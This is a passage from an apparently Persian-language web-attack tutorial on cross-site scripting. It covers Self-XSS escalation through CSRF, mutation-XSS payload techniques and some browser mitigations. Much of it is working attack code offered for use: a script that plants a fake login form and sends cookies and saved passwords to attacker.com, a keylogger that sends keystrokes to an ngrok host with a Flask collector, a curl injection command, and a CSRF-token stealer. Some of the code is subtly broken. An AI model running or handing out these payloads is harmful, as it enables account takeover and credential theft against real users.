fwrite($fp, "<br />\n");
fclose($fp);

echo "success";
?>

کد بالا در صورت بازدید قربانی ها از کدهای مخرب و اجرای آنها درخواست های زده شده از سمت قربانی را به همراه تاریخ و ساعت دقیق در فایلی به نام request.log در سرور مهاجم ذخیره میکند. کد مخرب طراحی شده زیر در سرور مهاجم قرار دارد:

var done = false;
var stolen = false;

function makeForm() {
    setTimeout(function () {
        var myElem = document.getElementById("loginmodal");
        if (myElem === null) {
            document.body.innerHTML += '<a style="display:none" >Modal Login</a><div id="loginmodal" style="display:none;"><h1>User Login</h1>' + '<form id="loginform" name="loginform" method="post"><h2 style="color:red">Your session has timed out, ' + 'please re-enter your credentials</h2><label for="username">Username:</label><input type="text" ' + 'name="username" id="username" class="txtfield" tabindex="1"><label for="password">Password:</label>' + '<input type="password" name="password" id="password" class="txtfield" tabindex="2"><div class="center">' + '<input type="submit" name="loginbtn" id="loginbtn" class="flatbtn-blu hidemodal" value="Log In" tabindex="3">' + '</div></form></div>';
            XSSImage = new Image;
            XSSImage.src = "https://attacker.com/log?checkin=true&cookies=" + encodeURIComponent(document.cookie) + "&url=" + window.location.href;
        }
    }, 2000);
}

makeForm();

function defer_again(method) {
    var myElem = document.getElementById("loginmodal");
    if (myElem === null) setTimeout(function () {
        defer_again(method)
    }, 50); else {
        method();
    }
}

defer_again(function stoleCredentials() {
    var uname = document.getElementById('username').value;
    var pwd = document.getElementById('password').value;
    if (uname.length > 4 && pwd.length > 4) {
        done = true;
        XSSImage = new Image;
        XSSImage.src = "https://attacker.com/log?username=" + encodeURIComponent(uname) + "&password=" + encodeURIComponent(pwd) + "&url=" + window.location.href;
        stolen = true;
        return false;
    }
    if (!stolen) {
        document.getElementById('username').focus();
        setTimeout(function () {
            stoleCredentials()
        }, 50);
    }
});

کد بالا هنگام فراخوانی تابع ()makeForm، از طریق ساخت عکس و ویژگی src آن، درخواست GET ای حاوی Cookie قربانی و URL ای که در آن XSS اجرا شده به سرور مهاجم ارسال میکند. سپس درون صفحه آسیب پذیر فرم HTML لاگین نامرئی ای با آیدی loginmodel تزریق میکند. در تابع defer_again اسکریپت بعد از مدت زمانی، وجود فرم لاگین ساخته شده در صفحه را بررسی میکند و درصورتی که فرم وجود داشت با فراخوانی تابع stoleCredentials منتظر میماند تا مرورگر قربانی به صورت خودکار اطلاعات حساس قربانی مانند نام کاربری و رمزعبور را درون فیلد های مربوطه فرم لاگین نامرئی پر کند (Auto-fill saved credentials). در نهایت مقادیر پر شده درون فیلد های username و password را استخراج کرده و و این مقادیر را از طریق ساخت عکس و ویژگی src آن، به سرور مهاجم ارسال میکند.

نتیجه بدست آمده از اجرای حمله Self XSS روی حساب های کاربری دارای امتیاز
نتیجه بدست آمده از اجرای حمله Self XSS روی حساب های کاربری دارای امتیاز
در سناریوی گفته شده کوکی به همراه نام کاربری و رمزعبور قربانی، به سرور مهاجم فرستاده شده است

از طریق آسیب پذیری CSRF

اگر وبسایت به CSRF آسیب پذیر باشد، Self XSS به XSS معمول تبدیل میشود. به این صورت که باید قربانی را متقاعد کرد که از وبسایت مهاجم بازدید کند و وبسایت مهاجم درخواست POST ای به قصد تغییر نام کاربری قربانی با استفاده از Payload زیر ارسال کند:

"><script src='https://attacker.com/js/stealcreds.js'>

همچنین میتوان از تکنیک خروج و ورود به حساب کاربری با استفاده از CSRF استفاده کرد، به این صورت که با استفاده از XSS (اجرای کد مخرب JavaScript) بدون اطلاع قربانی درخواستی از طرف او مبنی بر خروج از حساب کاربری اش ارسال شود و سپس درخواست دیگری برای ورود به حساب کاربری آلوده شده به Self XSS ارسال شود. به همین صورت میتوان قربانی را به صفحه ی آلوده شده هدایت کرد.

<iframe src=//victim.com/logout.php onload=forms[0].submit()></iframe>
<form method=POST action=//victim.com/login.php?returnURL=vulnpage.php>
<input name=username value="attacker">
<input name=password value="1234">

فرض کنید لینک مخربی حاوی کد بالا برای قربانی فرستاده میشود و قربانی لینک را باز میکند و کد روی مرورگر او اجرا میشود. کد بالا با استفاده از ویژگی src تگ iframe درخواست خروج از حساب کاربری را ارسال میکند و بعد از آن با استفاده از فرمی که حاوی نام کاربری و رمزعبور مهاجم میباشد درخواستی برای ورود به صفحه آلوده شده یعنی صفحه ارسال میکند در نتیجه قربانی از حساب خودش خارج شده و با حساب مهاجم وارد میشود و صفحه آلوده شده به Self XSS را مشاهده میکند.

آسیب پذیری XSS از نوع Mutated

آسیب پذیری XSS جهش یافته (Mutated XSS) زمانی اتفاق میوفتد که مهاجم کدی که به ظاهر امن است تزریق میکند ولی این کد هنگام تجزیه توسط مرورگر بازنویسی میشود و تغییر پیدا میکند. این باعث میشود تا تشخیص و امن سازی این نوع حمله در منطق برنامه سخت شود،

نحوه رخداد آسیب پذیری mXSS
نحوه رخداد آسیب پذیری mXSS
کد نامعتبر ارسال شده توسط مهاجم، در مرورگر تغییر کرده و به کد معتبر تبدیل میشود و در نهایت اجرا میشود

در مثال زیر برای ذخیره چرخش های CPU مرورگر برروی HTML تغییرات داخلی به صورت زیر اعمال میکند:

<!--User Input-->
<s class="">hello&#x20;<b>goodbye</b>
<!-- Browser-transformed Output-->
<S>hello<B>goodbye</B></S>

مرورگر (در اینجا IE8)، رشته داده شده به عنوان ورودی را قبل از ارسال به موتور طرح بندی به روش های مختلف تغییر میدهد، در مثال بالا ویژگی کلاس خالی حذف شده، اسم تگ ها به حروف بزرگ تغییر داده شده، تگ های باز بسته شده، کد پاکسازی شده و مقادیر Encode شده Decode شده است. این نوع حمله اکثر روش های محافظت در برابر آسیب پذیری XSS در سمت سرور مانند htmlLawed ،Kses و فیلتر های سمت مشتری مانند XSS Auditor، IE XSS filter، سیستم های WAF، IPS و IDS ها را دور میزند. ریشه اصلی رخداد این نوع آسیب پذیری، ویژگی innerHTML میباشد و زمانی اتفاق میوفتد که HTML از حالت امن به حالت نا امن تغییر پیدا کرده و جهش میابد،

ویژگی innerHTML

همانطور که میدانید این ویژگی به ایجاد محتوای عناصر HTML از رشته های قالب بندی شده میپردازد. این ویژگی با پیوست کردن محتوا به DOM دسترسی نوشتنی و با پشت سر هم کردن نود های HTML به شکل رشته، دسترسی خواندنی به آن عناصر را فراهم میکند. دسترسی خواندنی برای ایجاد جهش و تغییر نیاز است در حالی که دسترسی نوشتنی محتوای خطرناک تغییر یافته را به ساختار DOM سند HTML پیوست میکند.
به مثال زیر توجه کنید:

<script type="text/javascript">
    var new="New<b>second<\/b>text.";
    function Change(){
        document.all.myPar.innerHTML=new;
    }
</script>
<p id="myPar">First text.</p>
<a href="javascript:Change()">
    Change text above!
</a>

وقتی سند HTML برای اولین بار پردازش میشود، تگ p حاوی متن "First text" میباشد، وقتی برروی تگ a کلیک میشود، محتوای تگ p با رشته ی قالب بندی شده New <b>second</b> text" جایگزین میشود،

توضیح سطح حمله

همانطور که میدانید برنامه وب سمت کاربر و JavaScript از ویژگی innerHTML برای بروز رسانی محتوای صفحه به صورت پویا استفاده میکنند. شرط اساسی برای رخداد تغییر و جهش کد (Mutation)، عمل های چینش به صورت پشت سر هم و بر هم زدن چینش توسط مرورگر میباشد. تغییر در چینش ساختار درختی DOM زمانی اتفاق می افتد که ویژگی innerHTML از نود DOM قابل دسترس باشد. هنگامی که محتوای تغییر یافته دوباره توسط ساختار DOM پردازش میشود و به innerHTML نسبت داده میشود یا با استفاده از documrnt.write در صفحه نوشته میشود، عمل جهش اتفاق می افتد. در ادامه یک الگوی کلی از کد آسیب پذیر مشاهده میکنید:

a.innerHTML = b.innerHTML;
a.innerHTML += 'additional content';
a.insertAdjacentHTML('beforebegin', b.innerHTML);
document.write(a.innerHTML);

$(element).html('additional content');

برای اکسپلویت کد بالا، باید از ورودی کاربر در کد استفاده شود،

نحوه رخداد آسیب پذیری mXSS
نحوه رخداد آسیب پذیری mXSS
کد بی خطر ارسال شده توسط مهاجم بدون تغییر از فیلتر XSS موجود در سرور وب اپلیکیشن عبور میکند اما به دلیل وجود innerHTML توسط فیلتر XSS موجود در مرورگر به کد خطرناک تبدیل میشود و در نهایت XSS اجرا میشود

به کد مخرب تزریق شده زیر توجه کنید:

<listing>&lt;img src=1 onerror=alert(1)&gt;</listing>

بنظر میرسد کد بالا به دلیل HTML Encode که توسط مکانیزم های امن سازی اتفاق افتاده حاوی محتوای خطرناکی نیست. حالا فرض کنید مهاجم این قطعه کد را درون ویژگی innerHTML تزریق کند و این قطعه کد به صورت زیر درون قطعه کدی دیگر قرار بگیرد:

<listing id=x>&lt;img src=1 onerror=alert(1)&gt;</listing>
<script> alert(document.getElementById('x').innerHTML)</script>

وقتی کد بالا اجرا شود، مرورگر محتوای innerHTML را میخواند و document.getElementById('x') را فراخوانی میکند. انتظار میرود نتیجه alert شده به صورت زیر باشد:

"&lt;img src=1 onerror=alert(1)&gt;"

برای مثال در تصویر زیر Payload تشریح شده بالا، روی مرورگر Firefox 43 آزمایش شده است:

تست آسیب پذیری mXSS برروی نسخه 43 مرورگر Firefox
تست آسیب پذیری mXSS برروی نسخه 43 مرورگر Firefox
کد مخرب در نسخه 43 مرورگر Firefox بدون تغییر و دیکود شدن نمایش داده شده است

اما مرورگرهای IE8 ,IE9 و IE10 بعد از چندین مرحله Decode کردن محتوای موجود در innerHTML، نتیجه زیر را برمیگردانند:

"<img src=1 onerror=alert(1)>"
تست آسیب پذیری mXSS برروی مرورگر IE8
تست آسیب پذیری mXSS برروی مرورگر IE8
مرورگر های IE8 ، IE9 و IE10 کد مخرب موجود در ویژگی innerHTML را چندین مرحله دیکود کرده و تغییر میدهند
تست آسیب پذیری mXSS برروی مرورگر IE8
تست آسیب پذیری mXSS برروی مرورگر IE8
کد مخرب مهاجم بعد از چندین مرحله دیکود شدن در مرورگر های IE8، IE9 و IE10 نمایش داده شده و اجرا میشود

در ادامه به روش های طراحی Payload در این نوع حمله در هفت روش میپردازیم.

1.استفاده از کارکتر Backtick (`)

اگر این کارکتر به عنوان جدا کننده ویژگی (Attributes) تگ ها استفاده شود یا مقادیر ویژگی ها با این کارکتر شروع شوند باعث برهم خوردن Syntax خواهد شد،

<!--Attacker Input-->
<img src="test.jpg" alt="``onload=xss()"/>

<!-- Browser Output -->
<IMG alt=``onload=xss() src="test.jpg">

دسترسی ویژگی innerHTML به تگی که ویژگی آن مقداری حاوی کارکتر Backtick دارد باعث اجرای کد JavaScript میشود. این روش در مرورگرهای قدیمی قابل انجام است زیرا مرورگرهای جدید این مشکل را حل کرده اند.

2.استفاده از فضای نام XML در عناصر ناشناخته

در مرورگری که از HTML5 پشتیبانی نمیکند احتمال اینکه Tag های ناشناخته ای مانند article، aside و غیره … پردازش شود وجود دارد. توسعه دهنده تعیین میکند مرورگر با Tag های ناشناخته چه رفتاری داشته باشد برای مثال اگر از xmlns به عنوان ویژگی یک عنصر ناشناخته استفاده کنیم و مقدار آن را با داده ای پر کنیم، اگر به ویژگی innerHTML یکی از عناصر والد این Tag ها دسترسی پیدا شود، رفتار غیر معمولی رخ میدهد به این صورت که مرورگر مقدار وارد شده در ویژگی xmlns را بدون Double Quotes به عنوان پیشوند Tag های ناشناخته قرار میدهد،

<!--Attacker Input-->
<article xmlns="urn:img src=x onerror=xss()//" >123
<!-- Browser Output -->
<img src=x onerror=xss()//:article xmlns="urn:img src=x onerror=xss()//" >123</img src=x onerror=xss() //:article>

در نتیجه در مثال بالا دسترسی innerHTML به تگ های ناشناخته باعث تغییر ناخواسته کد و اجرای JavaScript خواهد شد، این مشکل در مرورگر های جدید حل شده است.

3.استفاده از Backslash (\) در Escape کردن CSS

استاندارد های CSS1 و CSS2 برای Escape کارکترها در مقادیر ویژگی های CSS Escapes ،CSS را پیشنهاد میدهد. این Escape ها رنج Unicode ای را در بر میگیرند و استفاده از Single Qoutation در کد های CSS را بی خطر میسازد. این نوع Escape حتی درون یک رشته ی CSS ای که با استفاده از Single Qoutation جداسازی شده اند هم امکان پذیر است. بر اساس این استاندارد استفاده از CSS Escapes درون یک رشته CSS ای به صورت زیر است:

property: 'v\61lue' (property:'value')

این نوع Escape، کارکتر a را براساس موقعیت این کارکتر در جدول ASCII کارکتر های نمایش داده است. مقادیر Unicode نیز از طریق دنباله های Escaping نمایش داده میشوند. مثلا استفاده از 20AC\ برای علامت ¿ . با این حال مرورگرهای متعددی تعهد های امنیتی برای استفاده درست و استاندارد از CSS Escapes را نادیده میگیرند. به خصوص زمانی که ویژگی innerHTML از یک عنصر والد در دسترس قرار میگیرد. به این صورت که نمایش Escape ها به حالت ابتدایی آنها تبدیل میشود. به دنباله زیر توجه کنید :

property: 'val\27ue'

این دنباله توسط innerHTML به صورت زیر نمایش داده میشود:

PROPERTY: 'val'ue'

مهاجم میتواند از این رفتار سواستفاده کند و کد دلخواه CSS را درون رشته ی دارای Qoutation و Escape شده تزریق کند. در این حالت HTML از بررسی کد برای معتبرسازی صرف نظر کرده و این استاندارد دور زده میشود.

<!-- Attacker Input -->
<p style="font-family:'ar\27\3bx\3aexpression\28xss\28\29\29\3bial'" > </p>
<!-- Browser Output -->
<p style="FONT-FAMILY:'ar';x:expression(xss());ial'" > </p> 

در مثال بالا دسترسی innerHTML به یک عنصر با استفاده از CSS Escapes در رشته های CSS باعث اجرای کد JavaScript خواهد شد.

برخلاف حمله بر مبنای تکنیک Backtick، کدها در این تکنیک به صورت بازگشتی تغییر پیدا میکنند برای مثال اگر کارکتری دوبار Encode یا Escape شده باشد، هنگام دسترسی innerHTML، دو بار Decode میشود. مثلا دنباله ی Escape شده 5c 5c\ در اولین دسترسی توسط innerHTML به 5c\ تغییر پیدا میکند و در دومین دسترسی به \ Decode میشود. همیچنین در برخی از بررسی ها مشخص شده که بعضی از فیلترهای HTML با استفاده از دنباله ی شبیه به رشته ی زیر دور زده میشود:

&#amp;x5c 5c 5c 5c

از آنجایی که استفاده از Backslash (\) در مقادیر ویژگی های CSS مجاز است، نمایش موجودیت های HTML به همراه ویژگی Decode کردن بازگشتی باعث اجرای موفقیت آمیز حمله خواهد شد.

4.استفاده نامناسب از کارکترها در نمایش موجودیت ها باعث بهم ریختن رشته های CSS میشود

ترکیب روش های بالا با استفاده از ویژگی Decode کردن بازگشتی CSS Escapes باعث تاثیر دیگری در مرورگرهای متعدد میشود. به این صورت که وقتی CSS Escapes و نمایش ابتدایی کارکترهای Double Qoutation درون رشته های CSS هر دو باهم استفاده میشوند. موتور پردازشی، بدون در نظر گرفتن غیر مرتبط بودن آن دو کارکتر، آنها را به Single Qoutation تبدیل میکند. این یعنی هنگام دسترسی innerHTML، دنباله های کارکتری 22\، ;quot& ، ;&#x22 و ;34#& به Single Qoutation (') تبدیل میشوند. در نتیجه در این تکنیک به طور کلی با دسترسی innerHTML ، کد های CSS و HTML معتبر اما غیر قابل اجرا به کد های اجرایی تغییر پیدا میکنند.

<!-- Attacker Input -->
<p style="font-family:'ar&quot;;x=expression(xss())/*ial'" > </p>
<!-- Browser Output -->
<p style="FONT-FAMILY:'ar';x=expression(xss())/*ial'" > </p>

در مثال بالا با دسترسی innerHTML به یک عنصر با استفاده از رشته های CSS ای که حاوی موجودیت های نامناسب HTML میباشند باعث اجرای کد JavaScript خواهد شد.

با توجه به تحقیقات انجام شده، امکان برهم ریختن Syntax HTML به وسیله استفاده از CSS Escapes در رشته های CSS یا مقادیر ویژگی های CSS، امکان پذیر نیست. در نتیجه ویژگی جهش یافتن یا تغییر کد ها باعث میشود تا رشته های CSS به طور نامناسب خاتمه یابند و ویژگی های CSS جدیدی تعریف شود. این رفتار بسته به مرورگر، میتواند باعث ایجاد آسیب پذیری XSS و اجرای کد دلخواه JavaScript شود.

5.استفاده از CSS Escapes در نام ویژگی ها باعث برهم زدن ساختار HTML میشود

همانطور که در بخش قبل اشاره شد، مهاجم نمیتواند از حمله های بر مبنای تغییر کد برای برهم زدن ساختار سند های HTML حاوی ویژگی style با استفاده از CSS Escape بهره گیرد. در نتیجه CSS Escapes ها فقط در بخش مقدار ویژگی ها استفاده میشوند و در بخش نام آنها استفاده نمیشود. اما استفاده از تکنیک تشریح شده در بخش قبل در نام ویژگی ها به جای مقدار آن ها، بعضی از مرورگر ها را وادار میکند تا رفتاری متفاوت داشته باشند،

<!-- Attacker Input -->
<img style="font-fa\22onload\3dxss\28\29\20mily:'arial'" src="test.jpg" />
<!-- Browser Output -->
<IMG style="font-fa"onload=xss() mily:'arial'" src="test.jpg" >

دسترسی innerHTML به عنصری با نام CSS غیر معتبر باعث اجرای کد JavaScript خواهد شد.

در کد بالا مهاجم اول باید ویژگی style را با استفاده از CSS Escapes ببندد تا Syntax CSS برهم نخورد، در غیر این صورت مرورگر به راحتی ویژگی CSS و مقدار آن را که غیر معتبر هستند، حذف میکند. توجه داشته باشید که این تکنیک حمله فقط با Double Qoutation درون ویژگی های دارای Double Qoutation قابل انجام است و زمانی که از Single Qoutation برای جداسازی ویژگی ها استفاده شده باشد عمل نمیکند. ویژگی innerHTML، کارکترهای Single Qoutation را به Double Qoutation تبدیل میکند در نتیجه میتوان از دنباله Escape شده 22\ برای برهم زدن و خاتمه مقدار یک ویژگی استفاده کرد،

<!-- Example Attacker Input -->
<p style=’fo\27\22o:bar' >
<!-- Example Browser Output -->
<p style="fo'"o:bar" > </p>

مثال بالا تبدیل خودکار Qoutation ها هنگام دسترسی innerHTML را نشان میدهد.

این محدودیت Syntax ای فقط بعضی از کارکترهای غیر مفید در طراحی حمله را پردازش میکند. کارکتر های Space، ویرگول (,)، مساوی (=) ، کروشه ها ({}) و سمی کالن (;) جزو این دسته هستند. برای دور زدن این محدودیت ها مهاجم باید آن کارکترها را Escape کند و از ویژگی تغییر کد ها (Mutation) برای ارائه کد های Escape شده CSS در HTML استفاده کند.

6.تغییر موجودیت ها در سند های غیر HTML

پردازش سند های XHTML/XML در خصوص محتواهایی با شکل نادرست مانند ویژگی های بدون Qoutation، تگ ها و عناصر بسته نشده و غیره … متفاوت است. وب سرور با استفاده نوع MIME تایین شده در هدر، HTTPِ Content-Type میتواند به مرورگر دستور دهد تا یک سند را به فرم XHTML/XML پردازش کند. این MIME ها text/xhtml, text/xml, application/xhtml+xml و application/xml میباشند. (از MIME های image/svg+xml و application/vnd.wap.xhtml+xml نیز میتوان استفاده کرد). پردازشگر های بر مبنای نوع MIME باعث میشوند تا مرورگر های متعدد هنگام پردازش رشته های CSS در عناصر style در ترکیب با عناصر (X)HTML، رفتار نامعمولی از خود نشان دهند. از تعدادی از این رفتارها در حمله mXSS استفاده میشود،

<!- - Attacker Input -->
< style >*{ font - family : ’ ar<img
src="test.jpg"
onload="xss()"/>ial ’} </ style >
<!- - Browser Output -->
< style >*{ font - family : ’ ar<img src="test.jpg"
onload="xss()"/>ial ’} </ style >

دسترسی innerHTML به عنصر Encode شده با XHTML در مقدار رشته CSS باعث اجرای کد JavaScript ای خواهد شد، در مثال بالا مرورگر به طور خودکار موجودیت های HTML درون رشته CSS ای که فونت را مشخص میکند، Decode میکند. با این کار پردازشگر باید درنظر بگیرد که رشته ی CSS حاوی HTML میباشد. در صورتی که در نوع text/html نه تغییر و جهشی در کد صورت میگیرد و نه پردازشگر گیج میشود و در نتیجه کد JavaScript ای اجرا نمیشود. در نوع text/xhtml و بقیه MIME های نام برده شده، عنصر style در CSS میتواند حاوی عناصر HTML باشد، بنابراین پردازشگر عنصر img دیکود شده در رشته ی CSS را در نظر میگیرد و کد JavaScript ای که باعث فعالسازی رویداد onload میشود را با موفقیت اجرا میکند، توجه داشته باشید که با وجود استفاده درصد خیلی کمی از وبسایت ها از نوع MIME های نام برده شده، مهاجم هنوز میتواند با تکنیک های MIME-Sniffing و غیره … وبسایت را مجبور کند تا از نوع MIME دلخواه برای پردازش صفحه استفاده کند.

7.سو استفاده از موجودیت های HTML در عنصر SVG درون ویژگی های CSS
<!- - Attacker Input -->
<p >< svg >< style >*{ font - family :’
&lt&sol;style>&ltimg/src=x&Tab;
onerror=xss()&sol;&sol; ’} </ style > </ svg > </p
>
<!- - Browser Output -->
<p >< svg >< style >*{ font - family :’
</style></svg><img src="x" onerror="xss()"
/> ’} </p >

تکنیک بالا در حال حاضر فیکس شده است،

آسیب پذیری mXSS در مرورگر های متن باز محبوبی وجود داشته که بعد از گزارش با موفقیت رفع شده است.

روش های کاهش (Mitigations)

سمت سرور

باید از نمایش محتوای سرور به عنوان خروجی جلوگیری کرد و محتوای دارای نقص، با محتوایی که به درستی تغییر پیدا کرده و از نظر معنایی یکی ست جایگزین شود. ساده ترین سیاست برای جلوگیری از این حمله به این صورت است که اجازه استفاده از کارکترهایی که مرورگر ها در تبدیل درست آنها به مشکل بر میخورند داده نشود. در ویژگی های HTML، مشکل وقتی به وجود می آید که مرورگر در نمایش پشت سر هم، Qoutation هارا حذف میکند، در نتیجه باید به نحوی Qoutation اضافه شود. یکی از این روش ها اضافه کردن تعداد زیادی فاصله خالی به متن میباشد (برخی مرورگر های مانند کروم در پردازش DOM، هنگام مشاهده فاصله خالی آن را به عنوان Text تشخیص داده و Qoutation اضافه میکنند)، اضافه کردن فاصله خالی اصل متن را تغییر نمیدهد و مرورگرها بر اساس استاندارد w3c فاصله های زیاد در اطراف ویژگی های HTML را در نظر نمیگیرند.

در CSS پیاده سازی این سیاست سخت تر است. به دلیل تبدیل نادرست دنباله های Escape، به طور کلی نباید از کارکتر های خاص CSS حتی اگر به شکل Escape شده باشند استفاده کرد. برای مثال در URL، پرانتز و Single Qoutation ها کارکترهای معتبری هستند اما همین کارکترها در CSS کارکترهای خاص محسوب میشوند. خوشبختانه اکثر وب سرورهای اصلی به طور معادل از نسخه Encoding درصدی برای این کارکتر ها پشتیبانی میکنند بنابراین بهتر است از Encoding درصدی معمول برای این کارکترها در URL استفاده شود.

این سیاست در HTML Purifier (کتابخانه ای برای فیلتر و پاکسازی داده در HTML) عملیاتی شده و از آنجایی که داده های بر خلاف قاعده در این کتابخانه تشخیص داده نشد به طور کامل به این نوع از حملات آسیب پذیر بود. این نقص ها در سال های بعد تا حدودی برطرف شد، از آنجا که رفتار مرورگر ها تا حد زیادی متغیر است، این سیاست برای بررسی محتوای ارسال شده توسط کاربر کاربردی است و کمکی در محافظت علیه محتواهای به صورت پویا تولید شده نمیکند. توجه داشته باشید که مشکلاتی مانند جهش Backtick هنوز بر HTML Purifier و Blueprint و Google Caja تأثیر می گذارد.

سمت کاربر

این روش جلوگیری به جای مرورگر از قابلیت برنامه نویس در بازنویسی دسترسی ویژگی های innerHTML و outerHTML برای بهینه سازی و تغییر کد ها استفاده میکند. در این روش از پردازشگر داخلی XML که با استفاده از DOM توسط مرورگر ارائه میشود، بهره میگیریم. این تکنیک با نام TrueHTML بر پایه آبجکت DOM ای به نام XMLSerializer که توسط همه مرورگر ها ارائه میشود، کار میکند و برای اجرای عملیات هایی روی سند های XML و رشته ها مورد استفاده قرار میگیرد. نکته قابل توجه این است که تابع ()XMLSerializer.serializeToString پذیرای ساختار DOM دلخواه میباشد و میتواند آن را به رشته XML تبدیل کند. در نتیجه دریافت کننده های داده در innerHTML باید با پردازشگر هایی جایگزین شود که فقط محتواهای XML را پردازش میکنند. این روش به دلایل زیر دارای فواید است:

  1. رشته ی خروجی، تغییر و جهش یافته شده نیست. در نتیجه این حمله به راحتی با استفاده از جایگزین کردن دسترسی innerHTML با کد خودمان در مرورگر ها قابل پیشگیری ست. این کد در اختیار گروهی از محققان امنیت در این حوزه قرار گرفته است.
  2. آبجکت XMLSerializer از اجزای مرورگر است. بنابراین تاثیر اجرایی آن با روش های فیلتر کردن داده های innerHTML قبل از اینکه تغییر پیدا کنند، مقایسه نمیشود.
  3. این روش به تلاش اضافی توسعه دهنده و برنامه نویس نیازی ندارد. هیچ کد JavaScript یا نود های DOM به تغییر احتیاج ندارند. اسکریپت خودش در مواقع نیاز داده های نا امن را جایگزین میکند.
  4. آبجکت XMLSerializer کد های نامعتبر را دوباره بعدا معتبرسازی میکند، در نتیجه ورودی های نا امن با فرم نادرست نیز فیلتر میشوند و دربرابر mXSS و از این قبیل حملات در امان میمانند.
  5. روش TrueHTML یک روش عمومی و واضح میباشد، این یعنی کاربر میتواند از این اسکریپت به عنوان هسته برای Extention های مرورگر یا اسکریپت های کاربری استفاده کند تا از خودش دربرابر حملاتی از قبیل mXSS محافظت کند.

روش های طراحی Payload های پیشرفته در آسیب پذیری XSS

ایجاد یک ضبط کننده کلید (Key Logger)

در این روش هدف ضبط و ذخیره کلید های فشرده شده کیبورد توسط قربانی میباشد تا برای مثال بتوانبم اطلاعات حساس وارد شده توسط قربانی مانند رمزعبور را بدزدیم. فایلی با نام payload.js در سروری که Ngrok در آن راه اندازی کرده اید بسازید و کد مخرب زیر را در آن قرار دهید:

var keys = '';
document.addEventListener("keypress", function () {
    get = window.event ? event : e;
    key = get.keyCode ? get.keyCode : get.charCode;
    key = String.fromCharCode(key);
    keys += key;
});

window.setInterval(function () {
    if (keys != '') {
        new Image().src = 'http://<NG_ID>.ngrok.io:5000?key=' + keys;
        keys = '';
    }
}, 500);

در کد بالا addEventListener منتظر اعمال رویداد keypress میماند. سپس در صورتی که کلیدی فشرده شود کد کلید فشرده شده یا کارکتر کد آن را میگیرد و توسط ;String.fromCharCode(key) به رشته تبدیل میکند. در بخش بعدی با استفاده از تابع setInterval هر 500 میلی ثانیه یک بار کد های درون تابع اجرا میشود. یعنی آبجکت Image ای ساخته میشود و ویژگی src آن برابر آدرس سرور مهاجم قرار میگرد. این یعنی به محض فشرده شدن کلیدی توسط قربانی آن کلید توسط پارامتر key به سرور مهاجم فرستاده میشود،

در ادامه کد سرور مهاجم که با استفاده از Fask پایتون طراحی شده را مشاهده میکنید:

from flask import Flask,request
from flask_cors import CORS
from flask import redirefromct
from datetime import datetime

# define app
app = Flask(name)
app.debug=1
app.name="index.py"
CORS(app)
app.config['JSON_AS_ASCII'] = False

@app.route("/")
def index():
    key = request.args.get('key')
    now = datetime.now()
    f = open("keys.txt","a")
    f.write("{} | {}".format(now,key))
    f.close()

if name == 'main':
    app.run()

کد بالا پارامتر key موجود در URL درخواستی که از سمت قربانی فرستاده شده را دریافت میکند. سپس فایلی یه نام keys.txt باز میکند و کلید فرستاده شده در پارامتر key را به همراه زمان فرستاده شدن کلید در فایل مینویسد.

در آخر باید به صورت زیر کد مخرب نهایی را در پارامتر آسیب پذیر تزریق کرد:

curl 'victim.com/comment.php?name=<script src="http://<NG_ID>.ngrok.io/payload.js"></script>'

استفاده از XSS برای دور زدن Double Submit Cookie در CSRF یا XSRF

یکی از راه های جلوگیری از آسیب پذیری CSRF استفاده از توکن های مخفی در فرم ها میباشد، این روش به Double Submit Cookie معروف است. با این حال کشف یک آسیب پذیری XSS میتواند به دور زدن این مکانیزم کمک کند. در ادامه با دو تکنیک برای دزدیدن توکن CSRF با استفاده از XSS و ارسال این توکن در هر فرم، آشنا خواهید شد. در کد PHP زیر با نام form.php فرم HTML ای را مشاهده میکنید که قصد دزدیدن مقدار توکن CSRF آن را داریم:

<!doctype html>
<html lang="en-US">
<body id="body">

<?php
session_start();
if (array_key_exists ("token", $_POST) && array_key_exists ("message", $_POST)) {
    if ($_POST['token'] === $_SESSION['token']) {
        print "<p>Token is valid, the message is: " . htmlentities($_POST['message']) . "</p>";
    } else {
        print "<p>Invalid token</p>";
    }
}else{
    $token=substr(md5(uniqid(rand(1,6))), 0, 8);
    $_SESSION['token']=$token;
}
?>

<form method="post" action="<?=htmlentities($_SERVER['PHP_SELF'])?>">
    <input type="hidden" name="token" value="<?php echo $token; ?>" id="token" />
    <input type="text" value="" name="message" id="message" />
    <input type="submit" value="Submit" />
</form>
</body>
</html>

این فرم در تگ مخفی input دارای توکن مخفی CSRF به نام "token" میباشد و مقدار آن به صورت تصادفی و برای هر کاربر منحصر به فرد است. در نتیجه توکن ساخته شده برای هر فرد درون سوپر گلوبال SESSION['token']_$ در سرور ذخیره میشود. قسمت PHP کد به بررسی صحیح بودن مقدار توکن ارسالی از سمت کاربر در متد POST میپردازد به این صورت که اگر مقدار توکن فرستاده شده صحیح و با مقدار ذخیره شده در سمت سرور برابر بود، پیام ارسالی در پارامتر message در صفحه نمایش داده میشود و اگر اینگونه نبود ما با پیام خطای "Invalid token" مواجه می شویم. فرض کنید صفحه ی دیگری در همان سایت دارای آسیب پذیری XSS به صورت زیر میباشد و ورودی سرچ شده توسط کاربر در پارامتر search را بدون ایمن سازی در صفحه نمایش میدهد:

<?php
echo "You are searching for :".$_GET['search'];
?>

خب حالا برای دزدیدن توکن CSRF قربانی، به سه روش زیر میتوان Payload ای طراحی کرد و آن را در سرور اختصاصی که در آن سرویس Ngrok اجرا شده، قرار داد.

با استفاده از JavaScript
function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "/form.php", true);
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhr.send("token=" + token + "&message=CSRF%20Token%20has%20been%20stold!");
}

function getTokenJS() {
    var request_get_page = new XMLHttpRequest();
    request_get_page.open("GET", "/form.php", false);
    var page_res = request_get_page.send(null); 
    var csrf_token = page_res.split("name=\"token\" type=\"hidden\" value=\"");
    csrf_token = csrf_token[1].slice(0,8);
    submitFormWithTokenJS(csrf_token);
}

getTokenJS();

